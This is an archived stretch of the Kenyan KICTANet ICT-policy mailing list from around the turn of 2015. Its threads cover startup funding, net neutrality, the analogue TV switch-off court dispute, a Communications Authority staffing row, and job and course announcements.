the surface that a writer should be exploring >>> rather than repeating the usual rhetoric damning the fledgling ecosystem - >>> which I find unfounded. >>> >>> I may be entirely wrong, but I could be right in my observations. >>> >>> Best regards >>> >>> On Sun, Jan 4, 2015 at 9:44 PM, Sean Moro >>> >>> On Sun, Jan 4, 2015 at 10:52 AM, Ali Hussein via kictanet < >>> kictanet(a)lists.kictanet.or.ke> wrote: >>> >>> Listers >>> >>> A lot of discussions in this area over the last few years. Are the >>> chickens coming home to roost? >>> >>> Have we focused too much on competitions, donor funded money and shared >>> spaces and a lot less on commercially viable ideas/nurturing what is there >>> towards commercial exploitation? >>> >>> My sense is that we now need to move to 3.0 to enable realize the >>> potential of our startups. >>> >>> Read on:- >>> >>> >>> http://www.businessdailyafrica.com/Corporate-News/Kenya-s-technology-push-l… >>> >>> >>> http://www.gsmaentrepreneurshipkenya.com/GSMA_KENYA-AR2014-060214-WEB-SINGL… >>> >>> >>> *Ali Hussein* >>> >>> +254 770 906375 / 0713 601113 >>> >>> Twitter: @AliHKassim >>> Skype: abu-jomo >>> LinkedIn: http://ke.linkedin.com/in/alihkassim >>> <http://ke.linkedin.com/in/alihkassim> >>> Blog: www.alyhussein.com >>> >>> "I fear the day technology will surpass human interaction. The world >>> will have a generation of idiots". ~ Albert Einstein >>> >>> Sent from my iPad >>> >>> _______________________________________________ >>> kictanet mailing list >>> kictanet(a)lists.kictanet.or.ke >>> https://lists.kictanet.or.ke/mailman/listinfo/kictanet >>> >>> Unsubscribe or change your options at >>> https://lists.kictanet.or.ke/mailman/options/kictanet/jkieti%40gmail.com >>> >>> The Kenya ICT Action Network (KICTANet) is a multi-stakeholder platform >>> for people and institutions interested and involved in ICT policy and >>> regulation. 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Kenya's Tech Startup scene leaves investors underwhelmed
by Ali Hussein 13 Jan '15

13 Jan '15

Listers A lot of discussions in this area over the last few years. Are the chickens coming home to roost? Have we focused too much on competitions, donor funded money and shared spaces and a lot less on commercially viable ideas/nurturing what is there towards commercial exploitation? My sense is that we now need to move to 3.0 to enable realize the potential of our startups. Read on:- http://www.businessdailyafrica.com/Corporate-News/Kenya-s-technology-push-l… http://www.gsmaentrepreneurshipkenya.com/GSMA_KENYA-AR2014-060214-WEB-SINGL… Ali Hussein +254 770 906375 / 0713 601113 Twitter: @AliHKassim Skype: abu-jomo LinkedIn: http://ke.linkedin.com/in/alihkassim Blog: www.alyhussein.com "I fear the day technology will surpass human interaction. The world will have a generation of idiots". ~ Albert Einstein Sent from my iPad

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Google honours the late Maruge with a doodle
by Grace Githaiga 12 Jan '15

12 Jan '15

http://www.businesstoday.co.ke/news/lifestyle/1421060633/google-honours-lat…

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NET NEUTRALITY ISSUES AND HOW THEY COME HOME TO ROOST
by Ali Hussein 12 Jan '15

12 Jan '15

Listers Apologies for cross-posting. The above refers. This list has been vocal (and I hope will continue to be) on the above subject despite silence from the policy makers. An incident in India brings this closer home than is comfortable for some of us. This involves Airtel. Below I quote a press release from the Indian Civil Society:- Airtel India, one of the leading mobile and Internet providers in the country recently announced that it will charge pre paid mobile customers more for using certain over the top services – starting off with VoIP services (such as Skype and Viber). The costs are in the range of Rs. 16 per minute of Skype, a huge cost to those users who access the Internet through the mobile route. While Airtel has backed down and reversed its aforesaid plans following a public outcry, the implications of the original announcement are clear – Airtel has indicated that it is willing to act as a gate-keeper of the Internet: restricting access to certain content / applications / services based on how much you can pay. See attached for the full release. You can see the concerns. It is unilateral actions like these without an official policy guideline that is worrying. Which brings me to the reason why I'm writing this note. Again I ask:- 1. If Telcos in Kenya decide to behave the same way what is our recourse? Remember Airtel is active here too. 2. What is our official government (People of Kenya) position on Net Neutrality. This an issue that CANNOT be wished away and we urge policy makers to come out strongly on this issue. By the way positions like these will mean that not every one is happy about what that Position will be but at least we will have a guideline. *Ali Hussein* Tel: +254 770 906375/ 713 601113 Twitter: @AliHKassim Skype: abu-jomo LinkedIn: http://ke.linkedin.com/in/alihkassim <http://ke.linkedin.com/in/alihkassim> Blog: www.alyhussein.com Any information of a personal nature expressed in this email are purely mine and do not necessarily reflect the official positions of the organizations that I work with.

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Fwd: [AfrICANN-discuss] Invitation to a webinar on January 13, 2015; 02:00-03:00pm UTC
by Bob Omondi 09 Jan '15

09 Jan '15

FYI Regards Bob. ---------- Forwarded message ---------- From: Yaovi Atohoun <yaovito(a)yahoo.fr> Date: Fri, Jan 9, 2015 at 1:12 PM Subject: [AfrICANN-discuss] Invitation to a webinar on January 13, 2015; 02:00-03:00pm UTC To: "africann(a)afrinic.net" <africann(a)afrinic.net> Dear all, We would like to invite you to join a Webinar on the IANA Stewardship Transition and Enhancing ICANN Accountability on Tuesday 13 January 2015 from 14:00 - 15:00 UTC. Please use https://icann.adobeconnect.com/gseemea/ to join this webinar. If you are unable to join via AdobeConnect, please dial in with the Adigo numbers (www.adigo.com/icann) and Adigo conference bridge 21912. Should you need a dial out from the Adigo operator, please inform either Yaovi Atohoun (Yaovi.atohoun(a)icann.org) or Renate De Wulf ( renate.dewulf(a)icann.org) by Monday January 12th latest. The draft agenda is a follows: Welcome and Introduction by Pierre Dandjinou, VP Africa, ICANN (5’) Update by Theresa Swinehart, Senior Advisor to the President on Global Strategy, ICANN (20’) IANA Stewardship Transition Enhancing ICANN accountability Remarks from Group's participants (15’) * Adiel Akplogan (CRISP) * Mohamed El Bashir (ICG) * CWG on naming (Seun Ojedeji) * Tijani Ben Jemaa (CCWG-accountability) Questions and Answers (20’) === Thanks - Yaovi Atohoun Stakeholder Engagement and Operations Manager – Africa ICANN – www.icann.org Mobile : +229 66015649 / 97891228 _______________________________________________ AfrICANN mailing list AfrICANN(a)afrinic.net https://lists.afrinic.net/mailman/listinfo.cgi/africann

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Fw: 2015 Commonwealth Foundation grants call open now
by Network of non- formal Educational institutions 09 Jan '15

09 Jan '15

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Re: [kictanet] [isoc_ke] Kenya IGF 2014 video
by Mwendwa Kivuva 08 Jan '15

08 Jan '15

On 7 January 2015 at 22:18, Joly MacFie via isoc <isoc(a)lists.my.co.ke> wrote: > While audio is not wonderful I went to some effort to edit in slides > etc.Please feel free to embed them on the Chapter website or promote them > in any other fashion. > The videos are available on the website http://192.185.143.243/~isoc/kenya-internet-governance-forum-2014-2/ ______________________ Mwendwa Kivuva, Nairobi, Kenya "There are some men who lift the age they inhabit, till all men walk on higher ground in that lifetime." - Maxwell Anderson

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Re: [kictanet] [isoc_ke] Youtube to be sued for $1 billion for songs
by Victor Kapiyo 08 Jan '15

08 Jan '15

Worth reading.. *Digital Business Models Should Have to Follow the Law, Too* A timeless maxim suggests that it's better to ask forgiveness than permission. Nowhere is that more prominent than in the current crop of digital businesses, which tend to skirt laws they find inconvenient. Though these services and their innovative business models win acclaim from consumers and investors, their approach to the law is troubling -- both for its implications for civil society and in its contagious influence on other firms in turn pressured to skirt legal requirements. https://hbr.org/2015/01/digital-business-models-should-have-to-follow-the-l… Victor Kapiyo ==================================================== *"Your attitude, not your aptitude, will determine your altitude" Zig Ziglar* On 3 January 2015 at 12:57, Daniel Otieno Omondi via isoc < isoc(a)lists.my.co.ke> wrote: > Ali, > I agree with you for sure we need to make ourselves understand and care > about Internet Governance Policies. > > Regards > > Daniel Omondi > VC > ISOC-KE > > ------------------------------ > *From:* Ali Hussein via isoc <isoc(a)lists.my.co.ke> > *To:* KICTAnet ICT Policy Discussions <kictanet(a)lists.kictanet.or.ke>; " > ISOC(a)lists.my.co.ke" <ISOC(a)lists.my.co.ke> > *Sent:* Friday, January 2, 2015 10:47 AM > *Subject:* [isoc_ke] Youtube to be sued for $1 billion for songs > > Listers > > I suspect this is a topic that will increasingly become pertinent. The > Internet Governance system is something few understand and care about. > > That is about to change. > > Very quickly. > > Terms like Third Party Liability, Permission based Marketing, Privacy, Net > Neutrality will be something that you will need to bring yourself upto > speed with. > > Test your Internet Governance Literacy. How many of the above terms are > you family with? Who do you think 'controls' the net? > > http://www.digitaltrends.com/music/youtube-1-billion-piracy-lawsuit/ > > *Ali Hussein* > > +254 770 906375 / 0713 601113 > > Twitter: @AliHKassim > Skype: abu-jomo > LinkedIn: http://ke.linkedin.com/in/alihkassim > <http://ke.linkedin.com/in/alihkassim> > Blog: www.alyhussein.com > > "I fear the day technology will surpass human interaction. The world will > have a generation of idiots". ~ Albert Einstein > > Sent from my iPad > > _______________________________________________ > isoc mailing list > isoc(a)lists.my.co.ke > http://lists.my.co.ke/cgi-bin/mailman/listinfo/isoc > > > _______________________________________________ > isoc mailing list > isoc(a)lists.my.co.ke > http://lists.my.co.ke/cgi-bin/mailman/listinfo/isoc >

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Re: [kictanet] Kenya's Tech Startup scene leaves investors underwhelmed
by Matunda Nyanchama 07 Jan '15

07 Jan '15

Friends Happy New Year. This discussion is very informative and offers various perspectives. I am wondering whether there is an up to date in-depth report (complete with raw data) of the complete innovation ecosystem in Kenya e.g: - universities & training institutions + their outputs- R&D chain from ideation, proof of concept, ... commercializaion - tech sector players: all the way from startups to mature market players- infrastructure - financing & its different flavours- policy & regulations - SWOT of this ecosystem- gaps in ecosystem and challenges- bench-marking (if any) with successful ecosystems: Silicon Valley, Tel Aviv, Ireland, ... Example 1: it would be interesting to see the skills demand versus output from academic institutions; ditto for availability of such talent as in tech business leadership. Example 2: how does the regulatory environment support/drag/etc the innovation "train"? - what is? what ought to be? and what could be done? Example 3: what's the attrition rate? How about mergers/acquisitions/consolidation? Example 4: Innovation culture: how does this compare with that in successful ecosystems in such matters .... Regards---------------------------------------------------------------------------------------------- Matunda Nyanchama, PhD, CISSP; mnyanchama(a)aganoconsulting.com Agano Consulting Inc.; www.aganoconsulting.com; Twitter: nmatunda; Skype: okiambe ----------------------------------------------------------------------------------------------Manage your ICT risks! We are the experts you need! The trusted partners you deserve!Call: +1-888-587-1150 (Canada) +254-20-267-0743 (Kenya) or info(a)aganoconsulting.comLicensed by Communications Authority of Kenya (CA) ----------------------------------------------------------------------------------------------"The best revenge is massive success" - Frank Sinatra----------------------------------------------------------------------------------------------- This e-mail, including attachments, may be privileged and may contain confidential or proprietary information intended only for the addressee(s). Any other distribution, copying, use, or disclosure is unauthorized and strictly prohibited. If you have received this message in error, please notify the sender immediately by reply e-mail and permanently delete the message, including any attachments, without making a copy. Thank you.

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COMPETITION AUTHORITY SHOULD DISBAND THIS CARTEL OF CITIZEN, NTV & KTN
by James Mbugua 06 Jan '15

06 Jan '15

http://nairobitech.blogspot.com/2015/01/the-real-reason-media-owners-oppose… In any other country what is happening with digital migration in this country would have seen criminal charges brought up against the three media houses; Royal Media, NTV and KTN for their continued abuse of their market power to frustrate digital migration in this country. Instead what we are seeing is an endorsement of their cartel like behaviour both by the regulators and the courts. Sobering numbers: According to an article in The East African, a sister publication to NTV, the three media houses under a consortium they are calling Africa Digital Network, control 90 per cent of the media in the country consisting of "*87 per cent market share in TV*, 80 per cent in radio and 98 per cent in print." The article suggests the media houses are loathe to give up any of this dominance and the advertising billions they command and have instead sought protracted court battles to buy themselves time to put in place infrastructure and buy equipment to digitally migrate. This alone should have the regulators jumping into the fray. The Kenya Communications Amendment Act for example bars anti-competitive practices amongst licensees of the Communications Authority particularly Section 84 (S) which has such warnings as *(a) any abuse by an licensee, either* *independently or with others, of a* *dominant position which unfairly •* *excludes or limits competition between* *such operator and any other party;* *(b) entering any agreement or engaging in* *any concerted practice with any other* *party, which unfairly prevents, restricts or* *distorts competition or which;* *(i) directly or indirectly fix purchase or* *selling prices or any other trading* *conditions; **limit or control production,* *markets, technical development or* *investment;* By this snapshot alone, the CAK cannot claim to be doing its job of ensuring fair competitition when a dominant position by a cartel of 3 controlling 90 per cent of the market not only continually frustrates the technical development or investment in digital migration but also unfairly abuses its position to exclude or limit competition. The marketplace is not the preserve of an exclusive cartel, it is a place where players should enter and leave according to market dynamics. The law cannot be used to protect the dominant position of three players to the exclusion of hundreds of new investors, this is precisely why fair competition laws exist. Even the consortium going by the name ADN should be quickly outlawed by the Competition Authority of Kenya. Where else in the world would the three dominant players in an industry be handed a government license to entrench that position? In the US, such an arrangement in the oil and steel industries saw the enactment of legislation that broke up Rockefeller's Standard Oil, the grandparent of today's ExxonMobil. Likewise AT&T was split up into the 7 baby bells (regional telephone companies) such as Pacific Bell, Bell Atlantic, Bell South etc with Ma Bell being left to do long distance calls only. The Competition Authority and the Communications Authority should bar this consortium from conducting business as presently constituted or face legal action for dereliction of duty by not only encouraging but also fostering monopolistic cartels in the country. On Fri, Jan 2, 2015 at 3:13 PM, Mark Mwangi via kictanet < kictanet(a)lists.kictanet.or.ke> wrote: > Well as of this afternoon I still receive Analogue signals for NTV, KTN, > Citizen, QTV etc in Westlands. Was the switch off really done? > > On Thu, Jan 1, 2015 at 11:47 PM, Baiju Shah via kictanet < > kictanet(a)lists.kictanet.or.ke> wrote: > >> Hi All, >> >> The train had left in terms of signal distribution. Let's not forget the >> media house together have a very number of viewers who are consuming their >> content and also depend information from these channels. >> The issue is that on signal distribution how was a large chunk given away >> to a foreign company as this is a channel that is critical for the >> communications between the government and the public like wise radio. >> Furthermore if these 3 companies close today how many jobs will be lost >> needs also to be taken into account not even considering the lose of >> advertisement based roles ie productions, media preparations etc. >> Finally, the quality of news broadcast to be left to tabloid journalists, >> are we really looking at the past? Plus shipping of our content consumption >> dollar to foreign content productions, I am not sure that a CNN or BBC will >> be able to provide a comprehensive coverage of the local news. >> I believe that they are fighting to keep their businesses relevant, >> unfortunately the CAK and Media Owners seem to have different ideas and >> agendas. >> Again, to be critical of the whole process, definitive guidelines should >> have been very clear to all. >> It further seems that the media owners have had enough time pull together >> the required infrastructure as they stated in one of their arguments with >> the court of large investment they have already made therefore it will not >> take long to light up the broadcast network. >> >> My 2.cents worth >> >> Happy New Year 2015 and enjoy the digital broadcast on your TV's >> >> Best Regards, >> >> Baiju Shah >> >> On 1 Jan 2015 22:56, "Grace Githaiga via kictanet" < >> kictanet(a)lists.kictanet.or.ke> wrote: >> > >> > I think the matter is being dragged unnecessarily and I have been >> wondering if there will be a time when these media houses will feel 'ready' >> to migrate. Yawn! >> > >> > Happy 2015 Listers! >> > >> > ________________________________ >> > Subject: Re: [kictanet] CITIZEN, NTV, KTN LAST MINUTE COURT APPLICATION >> FAILS TO STOP ANALOGUE SWITCHOFF >> > From: ali(a)hussein.me.ke >> > Date: Thu, 1 Jan 2015 18:55:59 +0300 >> > To: ggithaiga(a)hotmail.com; kictanet(a)lists.kictanet.or.ke >> > >> > >> > Grace and all >> > >> > These shenanigans by the media houses should stop. >> > >> > That train left the station long time. As the CA SMS messages say:- >> > >> > Tumetoka Analogue, Tunaenda Digital. >> > >> > Let them get on with the Programme (Pun intended). >> > >> > Ali Hussein >> > >> > +254 770 906375 / 0713 601113 >> > >> > Twitter: @AliHKassim >> > >> > Skype: abu-jomo >> > >> > LinkedIn: http://ke.linkedin.com/in/alihkassim >> > >> > Blog: www.alyhussein.com >> > >> > "I fear the day technology will surpass human interaction. The world >> will have a generation of idiots". ~ Albert Einstein >> > >> > Sent from my iPad >> > >> > On Jan 1, 2015, at 3:13 AM, Grace Githaiga via kictanet < >> kictanet(a)lists.kictanet.or.ke> wrote: >> > >> >> @James >> >> The Standard reported that the three Media houses would not be >> affected by the switch off, and that the Supreme Court will issue >> directives on the matter on Monday next week. >> >> Read on: >> http://www.standardmedia.co.ke/business/article/2000146378/supreme-court-su… >> >> >> >> ________________________________ >> >> Date: Wed, 31 Dec 2014 18:01:41 +0300 >> >> Subject: CITIZEN, NTV, KTN LAST MINUTE COURT APPLICATION FAILS TO STOP >> ANALOGUE SWITCHOFF >> >> From: jgmbugua(a)gmail.com >> >> To: kictanet(a)lists.kictanet.or.ke; ggithaiga(a)hotmail.com >> >> >> >> Listers, >> >> >> >> Looks like Media owners might have lost this one for good. >> >> >> >> The only issue was whether the interpretation to continue with digital >> migration while saying licenses will not be cancelled can be construed as >> cancelling the license to broadcast in Nairobi. >> >> >> >> CITIZEN, NTV, KTN LAST MINUTE COURT APPLICATION FAILS TO STOP ANALOGUE >> SWITCHOFF >> >> >> >> Analogue TV signals in Nairobi and its environs will be switched off >> tonight at 11:59PM or after the Presidential New Year address industry >> regulator Communications Authority has vowed. >> >> >> >> >> >> This is despite a court application by the three media houses of Royal >> Media (Citizen), NMG (NTV) and Standard Group (KTN) to allow them to keep >> broadcasting in analogue until they have their infrastructure in place. >> >> >> >> >> >> But tough talking Ministry of Information and CAK officials said in a >> press conference that the switch off timetable as issued in a gazette >> notice by Cabinet Secretary Fred Matiang'i, remains in place. >> >> >> >> >> >> Despite obtaining orders from the Supreme Court Vice President Kalpana >> Rawal certifying their application as urgent and maintaining status quo >> until the hearing set for January 5, Lawyer Wambua Kilonzo acting for CAK >> and Mr. Mwangi from the Attorney General's office, said their >> interpretation of the court orders was that the digital migration process >> was not stopped. >> >> >> >> >> >> "I have advised CAK not to cancel the licenses of the media owners but >> this does not stop the digital migration process from going on," Kilonzo >> said. >> >> >> >> >> >> Kilonzo in a position supported by the AG's counsel, said the Supreme >> Court did not grant orders to prayer number 2 of the media houses for the >> digital migration process to be stopped in the meantime. >> >> >> >> >> >> According to CAK Consumer and Public Affairs director Mutua Muthusi, >> the channels set for switch off tonight include: >> >> >> >> >> >> Citizen (Channels 34, 39) >> >> >> >> KTN 59 >> >> >> >> KBC 23 >> >> >> >> K24 26 >> >> >> >> GBS 47 >> >> >> >> NTV 42 >> >> >> >> QTV 12 >> >> >> >> Family 9 >> >> >> >> ETV 62 >> >> >> >> KIss TV (Channel 55) >> >> >> >> >> >> Muthusi said Kenyans are ready to migrate and cited sales figures of >> set top boxes which have ballooned in the last month. >> >> >> >> >> >> "STB sales have more than doubled in the month of December," he said >> adding that this trend was taking place even outside Nairobi. >> >> >> >> >> >> >> http://nairobitech.blogspot.com/2014/12/citizen-ntv-ktn-last-minute-court.h… >> >> >> >> _______________________________________________ >> >> kictanet mailing list >> >> kictanet(a)lists.kictanet.or.ke >> >> https://lists.kictanet.or.ke/mailman/listinfo/kictanet >> >> >> >> Unsubscribe or change your options at >> https://lists.kictanet.or.ke/mailman/options/kictanet/info%40alyhussein.com >> >> >> >> The Kenya ICT Action Network (KICTANet) is a multi-stakeholder >> platform for people and institutions interested and involved in ICT policy >> and regulation. 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Re: [kictanet] kictanet Digest, Vol 92, Issue 7 message 1
by Paul Korir 06 Jan '15

06 Jan '15

There is a massive disparity between the starting pay and the required competencies! Ouch! With kind regards, Paul K Korir > On 5 Jan 2015, at 12:00, kictanet-request(a)lists.kictanet.or.ke wrote: > > Send kictanet mailing list submissions to > kictanet(a)lists.kictanet.or.ke > > To subscribe or unsubscribe via the World Wide Web, visit > https://lists.kictanet.or.ke/mailman/listinfo/kictanet > or, via email, send a message with subject or body 'help' to > kictanet-request(a)lists.kictanet.or.ke > > You can reach the person managing the list at > kictanet-owner(a)lists.kictanet.or.ke > > When replying, please edit your Subject line so it is more specific > than "Re: Contents of kictanet digest..." > > > Today's Topics: > > 1. Technical Graduate Internships Available (Davis Waithaka) > > > ---------------------------------------------------------------------- > > Message: 1 > Date: Mon, 5 Jan 2015 09:33:44 +0300 > From: Davis Waithaka <davis(a)elimu.co.ke> > To: kictanet(a)lists.kictanet.or.ke > Subject: [kictanet] Technical Graduate Internships Available > Message-ID: > <CAPn5NnjntfoXU+OqVybtbG=QnxOBeuD9E2spYR__f7=Vm3m2iA(a)mail.gmail.com> > Content-Type: text/plain; charset="iso-8859-1" > > Sorry for any cross-posting: > > *Technical Development Team Personnel Vacancy* > > 6-month internship leading to permanent employment based on performance. > > Starting salary: KES 15,000. > > This job will be located at the main office in Nairobi. > > > *Job Description* > > Reporting to the Technical Director, the Technical Development Personnel > will be involved in product development, product deployment and technical > support. The TDTP will perform the following as part of their duties: > > - Web and database program coding as part of product development > > - Deployment of various products at client premises throughout the country > > - Training of clients on management, use and administration of our products > > - Provision of telephone and email based technical support to clients > > - Programming research and study to continually improve products > > - Frequent travelling will be required for this position > > > *Qualifications* > > - Bachelor of Science in Computer Science or its equivalent > > - Excellent coding skills in PHP, MySQL, CSS and XHTML > > - Must have ability to work with Linux systems as well as Windows > > - Inquisitive and creative personality who is good at problem-solving > > - Graphic design capabilities will be an added advantage > > - Must possess own laptop > > > > If you feel that you are the right candidate for this position please send > your application letter and CV tohr(a)elimu.co.ke before 12th January, 2015. > Regards, > -- > Davis Waithaka > Elimu Holdings Limited > www.elimu.co.ke > > 1st Floor Lunga Lunga Plaza, Lunga Lunga Road > Office Tel: +254 700 663 000 | Cell: +254 735 158 461 >

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Mobile Application Development Program for Form Fours
by Tracy Nyatoro Weru 06 Jan '15

06 Jan '15

Good Morning, We have the pleasure to inform you that at @iLabAfrica, Strathmore University is organizing a 2 months *Certificate in Mobile Development for the Android platform*. The program will run from Jan 19--March 19 2015. The course targets *Form four Leavers and Undergraduate students* with a passion for Programming. The course will focus on helping the students to become android application developers and release high-quality applications to the marketplace. Learn about the various stages of development on the Android platform and study topics related to User Interface, application services, permissions and security, graphics and video resources, data persistence, mobile application marketing, application hosting and more. Upon completion of the Certificate program, students will have acquired: - The basic techniques required for developing apps for the Android OS platform that meet market needs - Communication skills that will enable them pitch their ideas to investors - Proposal writing skills for the applications that they are building and how to change their applications from a simple idea into a business. We would be honoured if you would refer students to attend this event. Please let me know at your convenience if you will be able to send any participants or if you can refer other interested students. Registration for the training can be done by following this link: Register Here <https://docs.google.com/a/strathmore.edu/forms/d/1VpbkgQF_rULhl_drM_3AjYtbo…> For further questions, comments and/or suggestions, please contact the event coordinators: Tracy Weru, Cell: (+254) 0724 239 020 email: tweru(a)strathmore.edu Peter Njoroge, Cell: (+254) 0725 567 229 email: pnyambura(a)strathmore.edu -- *Kind Regards, * *Tracy Weru * *Business Development Analyst - @iLabAfrica * *Strathmore University* *M:(+254) (0) 724 239020 | T: (+254) (0) 703 034452|Ext 2452* *Strathmore Student Centre Building (4th Floor),* *Keri Road, Madaraka Estate, Nairobi, Kenya,* Website: www.iLabAfrica.ac.ke <http://www.ilabafrica.ac.ke/> / www.strathmore.edu https://www.youtube.com/watch?v=NX4Vmy_XfwQ https://www.youtube.com/watch?v=sckSxqM1k_g&feature=youtu.be -- Note: All emails sent from Strathmore University are subject to Strathmore’s Email Terms & Conditions. Please click here <http://www.strathmore.edu/aboutus.php?id=184> to read the policy. "Visit our Facebook <https://www.facebook.com/StrathmoreUniversity>Page and Twitter <https://twitter.com/StrathU>Account".

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Bill Gates best books for 2014
by James Kagwe 06 Jan '15

06 Jan '15

Listers, Happy new year. I came across the following reading list for Bill Gates http://www.gatesnotes.com/About-Bill-Gates/Best-Books-2014. It contains some very interesting books he read last year, some of which I am going through now. Note that some of them have nothing to do with technology, but are very thought provoking. Just wondering what books listers read in 2014. Kindly submit your list of books you'd recommend others to read. regards, James

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Technical Graduate Internships Available
by Davis Waithaka 05 Jan '15

05 Jan '15

Sorry for any cross-posting: *Technical Development Team Personnel Vacancy* 6-month internship leading to permanent employment based on performance. Starting salary: KES 15,000. This job will be located at the main office in Nairobi. *Job Description* Reporting to the Technical Director, the Technical Development Personnel will be involved in product development, product deployment and technical support. The TDTP will perform the following as part of their duties: - Web and database program coding as part of product development - Deployment of various products at client premises throughout the country - Training of clients on management, use and administration of our products - Provision of telephone and email based technical support to clients - Programming research and study to continually improve products - Frequent travelling will be required for this position *Qualifications* - Bachelor of Science in Computer Science or its equivalent - Excellent coding skills in PHP, MySQL, CSS and XHTML - Must have ability to work with Linux systems as well as Windows - Inquisitive and creative personality who is good at problem-solving - Graphic design capabilities will be an added advantage - Must possess own laptop If you feel that you are the right candidate for this position please send your application letter and CV tohr(a)elimu.co.ke before 12th January, 2015. Regards, -- Davis Waithaka Elimu Holdings Limited www.elimu.co.ke 1st Floor Lunga Lunga Plaza, Lunga Lunga Road Office Tel: +254 700 663 000 | Cell: +254 735 158 461

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CITIZEN, NTV, KTN LAST MINUTE COURT APPLICATION FAILS TO STOP ANALOGUE SWITCHOFF
by James Mbugua 02 Jan '15

02 Jan '15

Listers, Looks like Media owners might have lost this one for good. The only issue was whether the interpretation to continue with digital migration while saying licenses will not be cancelled can be construed as cancelling the license to broadcast in Nairobi. CITIZEN, NTV, KTN LAST MINUTE COURT APPLICATION FAILS TO STOP ANALOGUE SWITCHOFF Analogue TV signals in Nairobi and its environs will be switched off tonight at 11:59PM or after the Presidential New Year address industry regulator Communications Authority has vowed. This is despite a court application by the three media houses of Royal Media (Citizen), NMG (NTV) and Standard Group (KTN) to allow them to keep broadcasting in analogue until they have their infrastructure in place. But tough talking Ministry of Information and CAK officials said in a press conference that the switch off timetable as issued in a gazette notice by Cabinet Secretary Fred Matiang'i, remains in place. Despite obtaining orders from the Supreme Court Vice President Kalpana Rawal certifying their application as urgent and maintaining status quo until the hearing set for January 5, Lawyer Wambua Kilonzo acting for CAK and Mr. Mwangi from the Attorney General's office, said their interpretation of the court orders was that the digital migration process was not stopped. "I have advised CAK not to cancel the licenses of the media owners but this does not stop the digital migration process from going on," Kilonzo said. Kilonzo in a position supported by the AG's counsel, said the Supreme Court did not grant orders to prayer number 2 of the media houses for the digital migration process to be stopped in the meantime. According to CAK Consumer and Public Affairs director Mutua Muthusi, the channels set for switch off tonight include: Citizen (Channels 34, 39) KTN 59 KBC 23 K24 26 GBS 47 NTV 42 QTV 12 Family 9 ETV 62 KIss TV (Channel 55) Muthusi said Kenyans are ready to migrate and cited sales figures of set top boxes which have ballooned in the last month. "STB sales have more than doubled in the month of December," he said adding that this trend was taking place even outside Nairobi. http://nairobitech.blogspot.com/2014/12/citizen-ntv-ktn-last-minute-court.h…

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Youtube to be sued for $1 billion for songs
by Ali Hussein 02 Jan '15

02 Jan '15

Listers I suspect this is a topic that will increasingly become pertinent. The Internet Governance system is something few understand and care about. That is about to change. Very quickly. Terms like Third Party Liability, Permission based Marketing, Privacy, Net Neutrality will be something that you will need to bring yourself upto speed with. Test your Internet Governance Literacy. How many of the above terms are you family with? Who do you think 'controls' the net? http://www.digitaltrends.com/music/youtube-1-billion-piracy-lawsuit/ Ali Hussein +254 770 906375 / 0713 601113 Twitter: @AliHKassim Skype: abu-jomo LinkedIn: http://ke.linkedin.com/in/alihkassim Blog: www.alyhussein.com "I fear the day technology will surpass human interaction. The world will have a generation of idiots". ~ Albert Einstein Sent from my iPad

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Going into 2015 HR remains my biggest challenge
by Mbugua Njihia 30 Dec '14

30 Dec '14

Business has its uncertainties, and hopefully you have given those some thought and are armed with an adaptive strategy to meet these and other challenges as may arise - http://www.mbuguanjihia.com/business/4-challenges-running-symbiotic-2014.ht…

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Obama Signs 5 Cybersecurity Bills
by Matunda Nyanchama 27 Dec '14

27 Dec '14

Happy Holidays folks.... In case you missed it. Obama Signs 5 Cybersecurity Bills | | | | | | | | | | | Obama Signs 5 Cybersecurity BillsWithout ceremony, President Obama has signed five cybersecurity-related bills, including legislation to update the Federal Information Security Management Act, the | | | | View on www.inforisktoday.com | Preview by Yahoo | | | | | One of these is the "Cybersecurity Workforce Assessment Act, which requires the DHS to assess its cybersecurity workforce and develop a comprehensive strategy to enhance the readiness, capacity, training, recruitment and retention of its cybersecurity workforce." With the recent SONY hack (suspected to be related to the movie "The Interview" and North Korea) cyber warfare appears to be the next front-line for nations. Every nation (if it has to survive) needs to build up cyber-warrior capabilities, like happens with present conventional warfare armies. | | | | | | | | | | | First Cyber War: Was the Sony Hack a Warm-Up for Bigger ...Sony Pictures decided to authorize a limited release of "The Interview" after criticism for caving in to the demands a hacker group. | | | | View on www.breitbart.com | Preview by Yahoo | | | | | ---------------------------------------------------------------------------------------------- Matunda Nyanchama, PhD, CISSP; mnyanchama(a)aganoconsulting.com Agano Consulting Inc.; www.aganoconsulting.com; Twitter: nmatunda; Skype: okiambe ----------------------------------------------------------------------------------------------Manage your ICT risks! We are the experts you need! The trusted partners you deserve!Call: +1-888-587-1150 (Canada) +254-20-267-0743 (Kenya) or info(a)aganoconsulting.comLicensed by Communications Authority of Kenya (CA) ----------------------------------------------------------------------------------------------"The best revenge is massive success" - Frank Sinatra----------------------------------------------------------------------------------------------- This e-mail, including attachments, may be privileged and may contain confidential or proprietary information intended only for the addressee(s). Any other distribution, copying, use, or disclosure is unauthorized and strictly prohibited. If you have received this message in error, please notify the sender immediately by reply e-mail and permanently delete the message, including any attachments, without making a copy. Thank you.

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Is the Communications Authority board out of order?
by Mwendwa Kivuva 25 Dec '14

25 Dec '14

The advert in the daily Nation on Friday 19th advertising the vacancies at the Communications Authority seem to indicate that the CA senior managers are required to apply for their jobs. The managers have since gone to court: http://www.businessdailyafrica.com/30-managers-sue-communication-regulator-… The information and communications Act Amendment of 2013, section 105; the transition provisions set out in schedule 6 shall have effect with respect to staff, assets, rights, liabilities, obligations, agreements and other arrangements at the commencement of this act. It says among others " staff shall transit from CCK to CA of Kenya at the same terms and benefits or better terms and their terms shall not be interfered with." Change is good in every society. It brings impetus in organisations, reduces complacency, and improves efficiency. But these change has to be within the law. By the board advertising these positions it clearly contravenes these provisions of the act. Hon. Jamleck Kamau, Hon. Eng. Rege, Hon Yinda and all honorable members of parliament on this mailing list help us understand how a group of people (the CA Board) would blatantly ignore the law with 'impunity'! A spot check with some of the employees indicates that their employment terms have not changed - meaning they are permanent and pensionable. You cannot just wake up and change this without terminating and compensating them. The due process should be followed and you do not declare a position (whether change of name) vacant when you have an incumbent. The timing of this process also seems ill intentioned considering that Parliament which amended the Act before passing it is in recess until February 2015. The advert requires all to apply before 14th January 2015. Listers, we have to worry about what happens to the Authority because above all disruption to the setup definitely affects many businesses. Dr. Matiangi - is this another ignorance of the law from your ministry? We already have a failed process at ICTA that has left us with an acting CEO for over 2 years, and a Board that is in office illegally after it was nullified by the High Court. http://www.the-star.co.ke/news/article-183530/court-nullifies-ict-board-app… COFEK we are relying on you as a watchdog. We know how people are handled during a transition process is key. Sincerely, 